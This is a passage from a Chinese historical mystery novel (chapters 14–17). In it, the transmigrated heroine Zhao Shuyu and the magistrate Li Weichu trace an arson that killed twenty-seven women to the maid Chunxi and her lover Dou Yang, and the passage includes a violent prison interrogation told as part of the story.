就凭男童口中的话,不足以证明她的猜测。
如果真是这男童和县衙中人勾结,再汇报给刘世尧……这件事若想板上钉钉,就必须要拿出实打实的证据来!
这男童身上究竟还埋藏着什么秘密?
那个单耳坠,又是谁的信物?
他口中的婉姐姐?
可他又怎么会有她的耳坠?
她喂完了药,立马从袖口翻出那个单耳坠来,看着在月光下盈盈闪光的银针,她不禁瞪大了眼睛。
这是……
可就在这时,门外被一阵敲响。
“咚咚咚……”
门外响起熟悉的声音。
肃然而冷冽。
“赵疏玉。”
14. 线索指明
又来?
赵疏玉心中嘀咕一句,给锦夏压了压被子,起身开门。
李惟初身着一件绛紫色海棠纹绣的衣袍,长身玉立于黯淡月光之下。
眸中透着平和沉静的气息,眸光却露出一丝罕见的柔和,与往日那周身肆意张狂的危险截然不同。
只是眉间余怒未消,紧皱着眉审视她。
赵疏玉则是一脸莫名其妙,“怎么了?”
“听说你打着我县令的名号,嗯?”他大步跨了进来,坐在茶登上脸色紧绷,目光一瞬不瞬地盯着她看。
“问出什么来了?”
看向她的目光深邃平静,眸底却是一片暗潮汹涌。
赵疏玉也不避讳,既借了他的势,哪有不让他知道的道理?
她将那单只耳环递到李惟初的手心,神色微敛。
“耳环末端的银针发黑,倒是古怪……若能将耳环的主人审问出来,或许会更加有利于案件调查。”
李惟初仔细凝视着末端发黑的耳环,思忖后方道:“耳环的主人不是凶手。”
赵疏玉思来想去前因后果,赞同道:“确实如此。”
“若是纵火行凶之人,耳环怎么会被火熏黑?这样看来,只怕是被烧死的二十七具女尸中的一个了。”
赵疏玉心下越发肯定,这耳环的主人,就是男童口中的婉姐姐。
李惟初却在此时突然开口道:“大堂行凶之人,名为周德。”
就是那男童的名字了。
赵疏玉点点头,又问道:“窦扬和春禧,他们有没有说什么出来。”
一提到这个名字,李惟初方还柔和的目光一下凛冽起来,刹那间唇角勾起一抹不可察觉的冷笑。
不过他倒什么也没说,只模糊地说了一句道:“深夜露重,你明日再随我去狱中就是。”
赵疏玉直觉总觉得李惟初还没有问。
可能,更是连看一眼他们都嫌脏。
话锋一转,李惟初又问她道:“你明日可有什么打算?”
赵疏玉闻言,笑着反问道:“县令这么说,倒像是帮我做好决定了?”
“去一趟周德家里。”李惟初淡淡吩咐道。
他抬起手倒了壶茶,可赵疏玉不爱喝茶,所以只倒出来一杯索然无味的温水。
李惟初举起茶杯的手一顿,最终还是落下,一口未动。
赵疏玉正有此意,但她不解地问道:“你为什么不自己去一探究竟呢?”
李惟初答非所问,开口反问她道:“这就是你那日想问我的问题?”
赵疏玉那次临走前,曾想问他两个问题。
她倒是大方承认,点头应道:“不错。”
“这个问题你问得太早了,还有什么问题吗?”李惟初凝眸看向她,眼神中却已含了一丝警告。
赵疏玉却无视他的警告,只道:“还有一个问题我已经知道答案了。”
“哦?”李惟初饶有兴味地盯着她,意味不明道,“说说?”
“我那时候本来有些怀疑,你是不是早就知道刘坊主有问题,可在凉丝出现的那瞬间,我就肯定了。”
“若我说,我派凉丝暗中跟着,是为护你呢?”
“什么?”
“没什么。”
李惟初理了理袖袍,站起身道:“赵疏玉,我保着你的命,你也别让我失望。”
赵疏玉原本意外的神色顷刻又恢复正常。
她的眸光肃然,凛着神色点头道:“我们早就是一条船上的蚂蚱,你自然要护着我。”
“毕竟像我这么这么出色的探子,可是千年难遇一回呢。”
她这番不要脸的发言惹得李惟初莫名一笑。
声音轻小但十分清脆,落在赵疏玉耳中一怔。
可她再回神时,李惟初早就离开了,只余下他身上淡淡沉水香的气息,但就这一点气息,也随着一阵清风吹散了去。
赵疏玉无声地看了一眼床上的锦夏,上前将门关好。
而后自己走到贵妃椅上凑合一晚。
她倒也什么都不挑,毕竟最艰难的时候,那可谓是以天为被,以地为席,凄惨无比。
一晚的时间犹如过往云烟,一眨眼又到鸡鸣晨露。
赵疏玉并没有睡好。
准确来说,自从她亲眼看见沈怀夕用粗壮的人腿骨自杀在自己面前,虎鸣被大火蚕食得不成人样,二十七个女子在大火中扭曲挣扎却永远挣逃不出大宅的场景,桩桩件件,刻骨铭心,她怎能睡一个好觉?
她愤恨那些将他们一步步逼上绝路,逼疯逼死她的人,药玉坊是,安陵是,刘世尧更是!
日日夜夜,渐成执念,深深无法忘怀。
不抓住罪魁祸首,她怎么能安心睡觉!?
天方初晓,一声尖锐洪亮的鸡鸣声猝然响起,划破原本一片寂静无声的清晨。
紧接着一声又一声的鸡鸣声此起彼伏,不绝如缕,冷清的集市上稀稀落落传来小贩活动的声音。
再过不久,大街上嘹亮响起吆喝与叫卖声。
大街上热闹起来。
而赵疏玉也是这个时候出去的。
她在出门去周德家中前,先是将汤药喂给锦夏喝下,又吩咐人守在一侧,她才安心。
赵疏玉并没有大张旗鼓让满大街都知道她去搜家,而是只让两个官差便服跟着,其中一个便是维寻。
凉丝被她派去照顾虎鸣的娘,并不在队伍中,另一位则是那天来叫维寻去堂中的人。
听维寻叫他名字为如影,赵疏玉便也暗戳戳记在心里。
她朝身后的两人吩咐道:“县令派你二位助我,你们须得听我下令,再动作,知道吗?”
维寻嗯了一声,如影则响亮回道:“是!姑娘!”
这一动静引来街上不少人侧目。
维寻用胳膊肘杵了杵他。
赵疏玉倒是不甚在意,如影的性格倒很像她的一位朋友。
只是她的朋友早已死在冰冷的冬夜,尸骨无存。
带回来的,只有破烂不堪沾满血迹的警衣。
感怀间,他们已走至周德家前。
维寻走到赵疏玉身前,道:“姑娘,请让属下来。”
赵疏玉皱了皱眉,她没有手吗?敲门这件事还需要旁人代劳?
只是还未等她开口,维寻已敲响木门。
赵疏玉看着这个瘦瘦小小的木门,神色眯了眯,一挑眉,心中想着古代人防盗真差,就这还能叫家门?她一脚就能踹开。
只是并没有等赵疏玉粗暴地将门踹开,里面走出来的一对老夫妻已率先开了门。
这对夫妻脸上的神色都很温和,只是那男人的神色有种说不上来的古怪,妇人先是愣了一下,问道:“请问,你们是……?”
如影正经道:“我们三人奉江南县衙李县令之命前来调查案件,还望二位伉俪勿怪。”
那女人顿了一下后热情招呼他们三人进屋,而那男人则是微微侧耳,这样细微的动作赵疏玉不难注意到。
他们三人进入院子后,赵疏玉率先注意到土地上焉哒哒种着几排发黄的蔬菜,好似对他们赖以生计的东西并不放在心上。
赵疏玉又将目光往前看去,茅草屋顶好像也是多年无人打理,上面的草经历风吹日晒,早已落下一个又一个的洞,可都无人关心。
被夫妻二人热情招呼到屋中,一映入赵疏玉眼帘的便是斑驳起皮的白墙,墙面上布满霉斑。
就连他们入座的桌子仿佛要比正常的桌子还要再短一截。
地面倒是有人常常打扫,不似屋顶遍布的蜘蛛网,房梁上也落满灰尘。
可唯一令赵疏玉最注目的,是床头整整齐齐摆放的书。
她起身看似在屋中随意转了一圈,却是将目光紧紧盯着床头边放着的书上。
床铺很脏,被褥很旧,可书却很新。
新到连一个书角都是整整齐齐,没有一丝卷动。
赵疏玉垂下眼帘,凝目思考一番后走到如影身边,对他低语几句,又给了维寻一个眼神。
而后在妇人疑惑的目光中,赵疏玉来到后院。
她微微偏头向后看去,正好瞧见男人向她一侧竖起耳朵,眼神晦涩不明,而女人的目光则
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是直勾勾向她看来。
而这时如影开口问妇人道:“大娘,周德平日里和刘世尧……”
维寻则开口对男人道:“你应当知道,按大吴律法周德当堂行凶轻则训诫,重则……”
他们的目光都被维寻、如影吸引去,赵疏玉也可放下心肆无忌惮地在后院找寻起来。
她方才将无人问津的前院和破烂不堪的屋中都勘查一遍。
前院很小,就只有一块丁点大的土地,而屋中就更不必说,除了大灶和一张泥糊的炕,还有一张比正常桌子还要低的方桌。
屋中空旷,罪证无法藏匿。
而这三个地方,最有可能藏匿东西的地方就只有后院。
后院多放于一些废弃又典当不了之物,扔了可惜,只好堆在后院。
后院里有一捆捆累成小山高的木柴,有各种破了烂了碎了的瓶瓶罐罐,还有一架已经破得不能再烂的牛车。
看样子,这户人家曾经赶过牛车。
在她印象里,牛是很珍贵的动物,只有略阔绰的人家里才用得到牛车。
由此看来,这户人家也曾经辉煌过,只是如今……
赵疏玉走到牛车前面,上手摸了摸。
全是灰。
而后又对整体检查一番。
一个车轮已经不见了,牛车歪倒一边,赵疏玉转了转另一边的车轮,可却发出“吱噶”的响声,颤颤巍巍,似乎下一刻大厦倾颓。
似乎并没有什么值得关注的。
赵疏玉蹲下身又仔仔细细将牛车上下扫视看了一圈,的的确确是没有什么可以的痕迹。
正当她准备站起身时,她的余光却猛然瞟到压在牛车下面的东西。
她一直以为那只是一件再普通不过,因小而丢弃的衣服,没什么值得拿出来说嘴的。
但她却注意到那件衣裳上本不该出现的痕迹。
火烧的痕迹。
她站起身,用劲将马车往上抬一抬好拿到那件可疑的衣裳。
却不知是因为劲使大了,还是这牛车本身太破烂了,竟在她用力往上抬的那一刻,“轰”的一声巨响,犹如雷电般洪亮的声音爆发在赵疏玉眼前。
平地砸起一片黄沙般的灰尘,似经历一场骇人的沙尘暴,将赵疏玉湮没其中。
闹出这么大的声响,左邻右舍都纷纷向这里投来好奇的目光,而那对夫妻仍在屋中,可知维寻他们……真不愧是李惟初培养出来的人!
她将那件被火撩了半截的衣裳捡起,从“沙尘暴”中灰头土脸地走出,样子有点狼狈。
她走回屋中,对他们二人道:“走了。”
赵疏玉在妇人满是探究和警戒的目光中款款而去。
回县衙路上,她回头小声问如影和维寻道:“怎么样,可有探出什么来?”
如影摇摇头,道:“那妇人有些口痴,说话又很模糊不清,没有什么有用的信息,只一个劲问周德的安危。”
“你呢?”赵疏玉问维寻道。
维寻垂眸思索了一番,他不知道赵疏玉需要什么信息,只能掂量又考量,说道:“那个男人……似乎读过许多书,言语间倒是有条不紊,逻辑清晰。”
“还有发现什么吗?”赵疏玉又问道。
维寻摇摇头,他道:“没有了。不知姑娘发现什么?”
赵疏玉眼眸微沉,只道:“小心隔墙有耳,先回县衙吧。”
三人一路加快脚步回到县衙,一进府邸,却见李惟初早已在此等候多时了。
维寻和如影上前禀报之后,自动退了下去,留给二人谈话的空间。
而李惟初则是将门一关,目光凛然,仔细听语气也有一丝丝的急切。
“如何?可查到什么?”
赵疏玉将那件被火烧了半截的衣裳拿给李惟初看,在李惟初低沉凝视的目光中缓缓答道。
“那对夫妻,男人是个瞎子,这件衣裳是男款,且尺码比男人要小很多……”
她停留在那件衣裳的目光缓缓向上游移,正与李惟初深沉寂寥的目光撞了个满怀。
“这件衣裳,是周德的。”
15. 引诱上钩的鱼饵
李惟初接过衣裳,指腹上下抚摸着那块被火烧的痕迹。
眼波微动,他垂眸不知在想什么,半晌他才道:“刘世尧今日来过了。”
赵疏玉眉头一挑,垂眸看向端坐在蒲团上的李惟初,道:“他又来闹了?”
他摇摇头,道:“他没这个胆子。”又道,“他倒是无关紧要,只是他身后的势力……”
他眯了眯眼,“不容小觑啊。”
“你是指,巡抚?”赵疏玉问道。
“那二十七个女子,你不觉得奇怪吗?”
赵疏玉从他手上拿回周德的衣裳,她道:“自然。”
“你觉得他为什么要将那二十七个女子全都烧死?”
赵疏玉一愣,他竟然就这么肯定这把火是刘世尧放的了吗?证据呢?
李惟初见她半天不说话,站起身,缓缓走到赵疏玉身前,眼神幽暗地盯着她看,道:“如今耳环的主人尚未眉目,你可有法子?”
赵疏玉抬眼,看见他眸中的寒意,眉眼淡淡,“你还记得在大堂之上周德对我说的那番话吗?”
“你是指,婉姐姐?”
赵疏玉点头,“不错。”
似蹙非蹙的远山眉好似在表露她现下略微愁闷的心绪,她无奈道:“周德很是讨厌我,我实在没办法从他口里套出更多的东西来。”
“没有办法?你是在向他,向刘世尧认输吗?”李惟初看向她幽暗的眸光逐渐加深,声音沉沉地问道。
赵疏玉两团远山眉紧紧蹙起,否认道:“当然没有!”
“天下没有一个罪犯会喜欢衙役。”李惟初似乎在教她,“威逼利诱,严刑逼供,无所不用其极。”
他的音色沉沉,极具威严,听在任何人耳里都会到汗毛倒竖的地步。
“只要能问出你想要的东西。”
但赵疏玉却是丝毫不惧,她的眸中露出一丝玩味,唇角微微上扬,但弧度并不明显,问道:“就像那次你对我严刑威吓,逼我说出真相是吗?”
李惟初身体往后倾了倾,他一挑眉,不置可否。
二人眼神相视,不遑多让,最终李惟初将目光移到门上,道:“走吧。”
“去哪儿?”赵疏玉一头雾水。
“见犯人。”李惟初淡淡说道,可是语气中却多了一丝厌恶。
能让李惟初如此恶心的,就只有窦扬和春禧两个人了。
可是为什么,他会对他们那么厌恶?
李惟初对他们的名字说都不想说出口,连提一嘴都嫌脏,可是为什么?为什么会这么厌恶他们?
不过是走了歪路的饮食男女罢了,为什么会对他们这么厌恶?
李惟初余光不经意间瞥到赵疏玉对自己认真探究的小脸蛋,他神色从容,忽然开口问道:“为何这般看着本官?”
赵疏玉却也不含糊,有什么话当即便说出来了。
“你好像对窦扬他们厌恶至极?”
李惟初似乎并不意外她会问出这样的问题,但空气还是静默了一瞬。
他们依旧并肩走着,一路无言,却在赵疏玉觉得他不会回答的时候,李惟初却忽然说道:“你觉得我为什么恨他们?”
赵疏玉在心底盘算了很久的原因,当即便答道:“他们是你手底下的人,但也是刘世尧的内应。”
“他们背叛了你,你自然厌恶。”
她顿了顿,李惟初也没有说话,似乎是在给她时间。
可心下始终想不明白一点。
“但我不明白,你为什么会对他们那么讨厌。”
过了很久,李惟初道:“安插内应,背叛旧主的事我见多了,早就不在意了。”
他的嘴唇紧紧抿成一条直线,说出一句令赵疏玉无法理解的话。
“赵疏玉。”他停下脚步侧眸看向赵疏玉,里面的眸色却竟然涌现出一抹悲伤。
赵疏玉惊呆在原地。
“你是我见过最聪明的女子……难道连这其中的弯绕都想不明白吗?”
在她疑惑的目光中,李惟初缓缓道来,“刘世尧他算个什么东西,也敢在我府里安插内应?”
“他是嫌脖子上的脑袋太松,还是嫌亲族太多了么?”
闻言,赵疏玉的神色从疑惑到震惊,再到如今心有余悸。
一种出于本能对未知的恐惧,心脏的跳动不断加快,她听得胸膛中犹如惊堂鼓般的心跳,心下隐隐浮上一丝猜测,在她说出这个猜想时,头皮似乎也阵阵发麻。
“你的意思是,窦扬和春禧背后另有其人吗?”赵疏玉眼珠在眼眶中疯转,却想不出所以然来,脑海中浮现出的,只有一人。
她缓缓抬头与李惟初对视,轻言吐出问道:“巡抚?”
李惟初的目光却从她那一双水涟涟的眸子中离去,望向更远的远方。
“是他么?”
李惟初嘲讽似的哼笑一声。
闪烁其词道:“当然不是。”
“他只不过是那些人手里的一条鱼——一条引我上钩,置我死地的鱼饵罢了。”
赵疏玉则是越听越糊涂。
她垂下眸,心中不禁有一个猜测——李惟初并不只是江南县令这么简单。
江南,并不是她原本世界里的“鱼米之乡”江南。
恰恰相反,这里的江南离朝廷三千里远,土地贫瘠,生态凌乱,朝中官员哪个愿意从舒适富庶的京都来到这穷乡僻壤的江南来?
远离朝廷三千里外放委任官职?
赵疏玉心里不禁哂笑一句。
怕是流放三千里才更有信服力一些。
而李惟初撑死不过25岁的年纪,却被斩断青云路遣到这处地方来。
可想而知他曾在朝中究竟经历了什么九死一生的事情。
想到此处,赵疏玉看向李惟初的目光更有“刨根问底”的架势。
李惟初却伸出一只手掌轻轻附在赵疏玉的眼前。
听得他微微叹息一声,似乎很是无可奈何,语气中似乎多了一丝恳求的意味。
“别这样看我。”
赵疏玉听得这话,脑海中紧跟着竟补上了两个词。
求你。
她脑海一怔,立马将这个可怕的脑补出来的语气赶紧淡忘掉,却越是刻意去忘记,越是清晰。
最后她简直放弃抵抗,颇有些郁闷,闷闷开口,“我知道了。”
她扒拉了一下李惟初附在她眼前的手,目光灼灼地看着他道:“时间不早了,我们还得去狱中审春禧他们。”
李惟初看她这阳奉阴违,却很理直气壮的样子,既无可奈何也哭笑不得,只好冷着脸冷冰冰地“嗯”了一声。
——牢狱。
窦扬和春禧一齐被关在“特狱”中,那里重兵值守,隔音极差,连小声耳语的声音都能听得一清二楚。
二人并肩走在阴暗潮湿的狱中,平稳的脚步声与“滴答”清脆的水滴声混为一声,给人以无形的威压。
李惟初幽深清冷的眸光看向看守此处的衙役,凛声命令道:“开门。”
看守连头都没敢抬一下,低头赶忙以嘴快的速度开了门。
赵疏玉不禁心中感叹,‘李惟初这样雷厉风行,风云叱咤颇有威慑力的人物,便是帮天子问鼎天下都极有可能,怎会沦落至此?’
这里各州各县中,州牧统管各县衙,县令的官位最是微末。
赵疏玉不禁替他感到惋惜。
二人进狱中后,窦扬肉眼可见地瑟缩了一下,旁边的春禧却还懵然不知,两眼仍扑在窦扬身上。
李惟初的目光自始至终就只是这样冰冷地看着他们二人,眼底是滔天的愤怒与仇恨。
他胸膛上下起伏,刚开口时差点没控制好语气,泄出一丝颤抖的音色来,顷
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刻便恢复原本不带一丝感情的音调。
“指使你们的人,是谁。”
窦扬一抖,他死死低着头,不语。
而赵疏玉则是走上前掰过他的嘴,掐住他的下颌,往他口腔里面看去。
没有□□。
她又以同样的方式去检查一番春禧,和窦扬一样。
可她刚站起身往旁边走去,空出位置让给李惟初,却不曾想下一刻他竟直直抽出腰上的配剑,似是疯魔了一般,举起剑就往窦扬头上砍去。
春禧两眼圆睁,立马扑到窦扬身前抱住他,而赵疏玉也是一时没反应过来,下意识地冲上前攥住他飞驰向前的手腕。
李惟初的眼神中再无往日的镇定和晦暗,眸中只有一片盛大的怒火与滔天的恨意,两束令赵疏玉毫不理解的恨意。
她紧紧攥住李惟初的手腕,可他却立马挣脱,在宝剑即将插/入春禧胸膛的那一刻,危机之下赵疏玉大喊道:“你若把人私下里杀了,传出去,你的官声,你的仕途,你所有的一切都要不要了?!”
李惟初紧紧攥着剑,却在插/进春禧心脏的前一刻止住了手。
他剑光一转,斩断春禧鬓边发丝后安然入鞘。
“我的仕途早就被毁了。”李惟初的眼帘微垂,鸦羽般的眼睫遮掩住他眸中无尽的沉痛,留下的只有一汪寒潭。
“我所有的一切都被他们毁得一干二净!”他目光恨恨地盯着他们,几乎是低吼着出声。
他将春禧推搡一旁,将窦扬背对着他不断颤抖的身体掰过来,而后在窦扬惊惧的神色中狠狠踢了他一脚。
霎时间窦扬喷出一口鲜血,血珠似如花洒一般喷在半空中,落在身前不远处的稻草上。
他被一脚踹到墙上,痛苦地捂住胸口,无助地喘息。
可李惟初却没有丝毫想放过他的想法,他冲上前,一把拽住窦扬胸前的衣领,眼尾猩红,眸中是嗜血的狠戾,他紧扯着窦扬,咬紧牙关,声音似是从牙缝中狠狠挤出来,里头有着绝望的嘶鸣。
“你们还想要我怎样,到底要我怎样,才肯放过我的……”
话说此处,他忽然噤声。
而后攥起拳头,铆足劲打在窦扬的胸上。
“噗——”
又是一口鲜血。
春禧在旁边惊叫连连,而赵疏玉的脑中却是百思不解,脑袋似乎都要转爆炸了也没想出个所以然来。
他到底隐瞒了什么秘密?
他为什么不再说下去?
正在她心中无限连问的时候,李惟初却是淡淡地回眸,朝赵疏玉吩咐道:“本想教你该如何审讯犯人,可惜啊……”
在他回头看向窦扬的一瞬间,李惟初的眸光阴森可怖,令窦扬毛骨悚然。
“我实在是忍不住了。”
他回头尽量控制住语气,温声对赵疏玉道:“疏玉。别学我,这样是触犯律法的,明白了吗?”
赵疏玉僵硬地点点头。
内心惊叹于他的语气和脸色可以转变如此之快。
“现在……”他接着用一种赵疏玉很陌生的温柔,冷漠地对她说道,“出去。”
他话中的威压无处不在释放,整个人显得格外有攻击性。
赵疏玉是聪明人,自然不会在他最愤怒的时候惹他不快。
只是……
她瞥了一眼地上时刻准备去“解救”窦扬的春禧,好意提醒道:“春禧,你是受他唆使,受他蛊惑才做了蠢事,可千万要警醒着些……”
“真正爱你的男人,是不会置你于如此危险之镜,更不会让你面临生死危机。”
只是这样善意的提醒不知道春禧听进去了几分,她确实跟着窦扬背叛了李惟初,间接导致唯一能够扳倒刘世尧的线索毁于一旦。
这样恶劣的行为,事后也不知悔改的态度。
李惟初真的会饶过她吗?
16. 纵火犯现身
赵疏玉则转头往对面的牢房走去。
“周德。”她一脚踏进门里,看向蜷缩在床上的小人儿。
可周德却没有什么反应,似乎并没有听到她在叫自己。
两个官差立刻从她身后窜出,想将他扯起来,但赵疏玉却是制止道:“住手。”
他们低头,道了一句,“是。”后重又退回赵疏玉身后。
她倒并不着急,迈开脚步往里面走去,坐在周德床对面。
赵疏玉看向周德的神色讳莫如深,而周德对她视而不见,依旧缩在那里。
她从包裹着的手帕中取出那只翠绿色的耳环。
“这只耳环是婉姐姐的,对吗?”
话音未落,周德便猛地从床上跳下来,想要从她手中抢走那只耳环。
可他方一动作就立刻被赵疏玉身后的两位官差给制住,把他死死摁在地上。
“还给我,求你,还给我。”周德并不像之前那般气冲冲地面对赵疏玉,一脸愤恨。
豆大的眼泪像断了线的珠子滚落周德的脸颊,他的语气恳求,神色落寞悲伤。
这时维寻忽然从外头进来,他附在赵疏玉的耳边低声道:“姑娘……”
赵疏玉神色一变。
她垂眸半刻,又对维寻低语几句。
听完赵疏玉吩咐他的话,抬眸看向她的瞬间似乎有些意外,但顷刻恢复平常,“此事我会上报县令,须得得他首肯。”
赵疏玉点点头,她挥挥手道,“去做吧。”
维寻走后,她将桌上的耳环往地上一扔,恰好扔在周德面前,又示意那两名官差松手。
周德跪在地上,小心翼翼地将这枚耳环捧在手心里,仔细拍了拍不小心沾染上去的灰尘,眼神中充斥着怀念与悲伤。
可正在他沉浸于伤哀之中时,赵疏玉猝不及防地开口问道:“婉姐姐是何人?”
“我为什么要告诉你?”
“你的姐姐……”
他抬眸,紧张地看着赵疏玉,生怕她会说出什么令他无比恐惧的话。
“被人抓走了。”
一句话犹如五雷轰顶,劈头盖脸地将周德劈成两半。
他整个人不住地颤抖,不知是气愤还是恐惧,几乎将他整个人吞噬。
“是刘世尧,一定是他,只有他……”
赵疏玉去周德家中时并没有看见他的姐姐,她竟然不知道周德还有个姐姐。
“婉姐姐,是谁?”赵疏玉再次问道。
而周德却像是抓住唯一的救命稻草一般,他跪在地上不断匍匐前进,紧紧扯住赵疏玉落在地上的衣袖,哀求道:“求求你,求求你救救我姐姐,你救救她,我告诉你,我什么都告诉你。”
赵疏玉颔了颔首,冷漠地看着他,“我如今可是刘世尧的眼中钉,他恨不得除我而后快,你让我救你的姐姐,我岂不是自寻死路吗?”
“你能救。”周德一双眼睛亮晶晶的,语气十分笃定。
“为什么这么笃定?”
“那天晚上,我看见你飞檐走壁,稳稳当当落在烈火焚烧的大宅前,你武功高强,你一定,一定有办法……”
听他这话,赵疏玉则是眯了眯眸子,她问道:“你不是亲眼跟着我,看我回了县衙的吗?又怎会看见我飞檐走壁落在已经火烧的大宅前面?”
“你这样说,可是承认我并非那日纵火犯。”
“……”
良久的沉默,双方的对峙,眼神的交锋,周德终于挤着牙缝说了一句。
“是。”
“你确实不是当日纵火犯。”
紧跟着又哀求道:“你救救我姐姐,救救我姐姐好不好,求你……”
“求我我就一定要答应你吗?可有这个道理?”赵疏玉眉锋一挑,眼神中颇有些意味地盯着他看。
又是一寂。
“好了,我也不为难你。”赵疏玉道,“让我救你的姐姐可以,但我需要你帮我洗脱纵火犯的罪名,并协助我揪出幕后黑手,扳倒刘世尧。”
周德死死咬着下唇,内心挣扎良久,他最终下定了决心,抬眸道:“我答应你。”
他低头从袖口中掏出一块女子手帕递给赵疏玉,道:“那日行凶之人身量纤纤,与我差不多一般身量,虽蒙面,但依稀可辨得是个女子。”
“至于一点,我并没有说谎。”周德顿了顿,道,“我确实是看见她走进了县衙,不过不是从大门,而是绕后走小门进去的。”
他仔细回想了一番,似乎在思索自己漏掉的信息,忽然他眼睛一亮,道:“是个男人给她开的门。那男人趁着黑夜无人,竟还亲了她的额头呢,后来他们就关了门。”
“婉姐姐是谁?”赵疏玉知道周德已经将火灾那晚上所有知道的消息都告诉了自己,而她也只需要再找到这手帕的主人,那么一切就都大白了。
她现在要问的,是那二十七个女子的身份,以及,她们为什么会在那处宅子里,纵火犯为什么要杀掉她们。
“婉姐姐是我在这个世界上,除了父母姐姐之外最感谢的人。”他似是年龄不够,有些话无法准确的表达,但他知道,他最喜欢,最喜欢婉姐姐了。
“婉姐姐本名婉华,温婉贤淑,昭昭其华。”
“她很漂亮也很爱笑,她的笑容和我姐姐一样好看,但是她的笑容里却多了很多的不高兴。”周德在讲述她时,嘴角不经意流露出一丝甜甜的笑意。
“准确来说,是忧愁。”周德说,“她经常会哭,可是她每次哭后,就会消失一段时间,最奇怪的是,她每次回来时,都有很多嬷嬷守在她身边。”
“婉姐姐救过我父亲和母亲的命。”他叹了一声,道,“父亲十五岁中了秀才,却因拒绝刘世尧的宴席和拉拢,被进士科除名,又骗父亲入赌场,欠下天价赌债,家产都变卖了也不够。”
“父亲被刘世尧带进那处大宅,若非婉姐姐求情,父亲他早就……”周德哽了一下,“后来父亲一病不起,婉姐姐与姐姐交好,多次偷递银钱来给父亲治病。”
赵疏玉嗯了一声,问道:“你父亲病瞎了眼,从此一蹶不振了?”
周德点了点头,“是……”
“那你又为何说,你姐姐是被刘世尧给抓走的呢?”
“我当然知道!”一听到她这话,周德霎时间激动起来,眼角也湿润,落下几滴泪来。
“父亲在宅子里被刘世尧硬逼着摁了手印,我不知道里面写得什么,但父亲回来和母亲讲了这件事情后,姐姐的脸色就变得惨白,之后姐姐被父亲藏了起来,可是……可是今日……”周德的脸色一片灰败。
他抬眸,撞进赵疏玉那一双高深莫测,黑漆的瞳孔之中,里面的神色晦暗不明,他袖下紧紧握着双拳。
“赵姑娘,你救救我的姐姐,救救我的家人不要再受刘世尧的迫害……”他跪在地上,一下又一下地对赵疏玉磕头,一把鼻涕一把泪地哭诉着。
她不为所动,眼底却有一丝动容,她淡淡道:“哭哭啼啼的,一点都不像男儿家。”
而后她便起身走了,只留下周德一脸茫然地跪在原地,朝她大声道:“你答应我的,你一定要救我的姐姐……”
赵疏玉却在心底冷哼一声。
他还是对自己有隐瞒。
如果真的不知道自己的父亲与刘世尧达成了什么共识,又怎么会在听到他姐姐被抓走之后那么害怕。
不过眼下不管是否他对自己有隐瞒,只要不干涉最后的结果,都好说。
如今,最重要的是找出这块手帕的主人。
找出真正的纵火犯。
不过从周德的言语中,她整理出两点方向可供去查。
1、他们是一对情侣,只要查出府中有哪些官差和婢女们私下相好,搜查范围会近一步减小。
2、每个人刺绣出来的成果就像字迹一样都有自己的特点,只要将那些侍女的绣品拿出来一一辨认即可。
她心中已有盘
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算,只是她还是需要和李惟初说一声,不然大张旗鼓弄得县衙人心惶惶,得需要他出面来堵住那些悠悠之口。
从周德的狱房出走到窦扬他们的狱房,不过几步路的时间,只是他们那里的叫声一直都没有停过,振聋发聩,令人骨寒毛竖。
而在她推开狱门的那一刻,一个黑影“嗖”地向她飞来,赵疏玉忙侧身一避,窦扬直接飞出门外。
那些官差好似熟视无睹,从地上拎小鸡一样拎起窦扬的衣领,像丢垃圾一样把他往狱房里一丢,而后若无其事地把狱房门关上。
赵疏玉看着被打得口吐鲜血,奄奄一息的窦扬,不禁蹙了一下眉,她眸光看向春禧,她似乎并没有受伤。
倒是个坚决不打女人的君子?
窦扬逮着时机就往春禧身后爬去,他鲜血淋漓地爬向春禧,她整个人都几乎快被吓得休克过去。
她浑身颤抖地跪在地上,整个身子颤栗不堪。
而在她看到赵疏玉将一块绣着鸳鸯纹绣的手帕递给李惟初时,她心中的那根线似彻底崩断,她整个人呼吸一滞,霎时间眼白一翻,晕倒在地。
赵疏玉正巧瞥见这一幕,掩下眸中那一闪而过的明然,对李惟初道:“这是我在周德那里得来的手帕,据他描述,这是纵火犯遗落的手帕。”
李惟初在看到这条手帕之后,肉眼可见他的脸不经意抽了一下,唇边划过一丝嘲讽的冷笑,嫌弃地抬起脚踹开窦扬压在身下的稻草。
那里一模一样躺着一条被鲜血浸湿的手帕。
真凶一现可得。
不过为了更加确定物证的主人,她又问李惟初道:“当晚大火之日,窦扬在哪里?”
“他?”李惟初看了一眼满脸是血的窦扬,道,“他与人换班,夜巡县衙。”
至此,赵疏玉心下彻底确定,这纵火之人,就是春禧。
她不禁将目光移上窦扬。
看见他一动不动地趴在地上,胸脯上下起伏,艰难地呼吸着,冷声问道:“是你让春禧放火烧宅,偷木盒毁灭罪证的?”
他躺在地上,似乎已经是累到极致,一言不发,但逐渐粗重的呼吸与得逞上扬的唇角却遮盖不住他内心的得意与窃喜。
他满脸血迹,死死盯着赵疏玉,露出一抹怪异的微笑。
李惟初阴沉地看着他一副小人得志的样子,又想一脚踹上去,赵疏玉连忙拦着。
她摇摇头,轻声道:“别把人打死了,你还记得巡抚不日将至吗?”
听到‘巡抚’二字,他这才恢复了些许神志。
他冷哼一声,偏过身去不再理会。
赵疏玉走到他面前,举着手帕在他眼前挥了挥,问道:“春禧一片真心待你,你却如此利用她,你的良心不会痛吗?”
他呸出一口血沫子,嗤笑一声,艰难道:“是她自己乐意,又不是我逼着她做的。她那么好骗,我只要花言巧语几句她就对我死心塌地,恨不得将所有的一切都双手奉给我。这样自甘下贱的女人,谁会珍惜?我吗?嗤……”
赵疏玉眸光发冷,在听到他说这一番话之后更是一拳锤了上去。
她的招式快准狠,不像李惟初是为了发泄滔天的恨意。
所以打在人身上,一下就把窦扬给打晕了过去。
正当她还想再打第二拳的时候,李惟初不知何时已经站在她身后,握住她举在半空的右手腕。
他幽冷深邃的眼神与赵疏玉眸中的愤怒交汇,浇灭她眸中的愤慨,重新化为一滩平静的池水。
“疏玉,别学我,粗暴野蛮不该污了你的一腔愤懑与纯净。”李惟初的语气柔和迟缓,隐隐约约听出这语气似乎还有安抚的意味。
而正在此时,维寻在狱房外禀报道:“禀主上,赵姑娘。”
两道目光齐齐向维寻看去。
维寻低着头,手中规规矩矩抱拳,肃然道:“已经找到了。”
李惟初与赵疏玉对视一眼,二人心中皆是不言而明。
17. 美色所误?
赵疏玉瞥了一眼地上昏迷不醒的窦扬,深吸一口气,站了起来。
李惟初莫名有些慌乱地松开赵疏玉的手腕。
